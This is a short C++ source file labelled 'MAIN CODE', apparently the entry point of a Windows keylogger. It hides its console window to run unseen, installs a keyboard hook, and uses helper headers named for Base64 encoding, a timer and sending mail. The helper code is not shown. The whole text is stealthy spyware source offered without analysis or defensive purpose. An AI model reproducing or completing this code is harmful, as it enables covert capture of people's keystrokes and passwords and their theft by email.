**MAIN CODE**

**(Because of different format code may appear different)**

#include <iostream>

#include <Windows.h>

#include "Helper.h"

#include "KeyConstants.h"

#include "Base64.h"

#include "IO.h"

#include "Timer.h"

#include "SendMail.h"

#include "KeybHook.h"

using namespace std;

void hide();

int main()

{

hide(); // set console window to appear for a instant

MSG Msg; // msg object to be processed, but actually never is processed

IO::MKDir(IO::GetOurPath(true));

InstallHook();

while (GetMessage(&Msg, NULL, 0, 0)) // empties console window

{

TranslateMessage(&Msg);

DispatchMessage(&Msg);

}

MailTimer.Stop();

return 0;

}

void hide()

{

HWND stealth; // window handler used to hide the outputted console window

AllocConsole();

stealth = FindWindowA("ConsoleWindowClass", NULL);

ShowWindow(stealth, 0);

}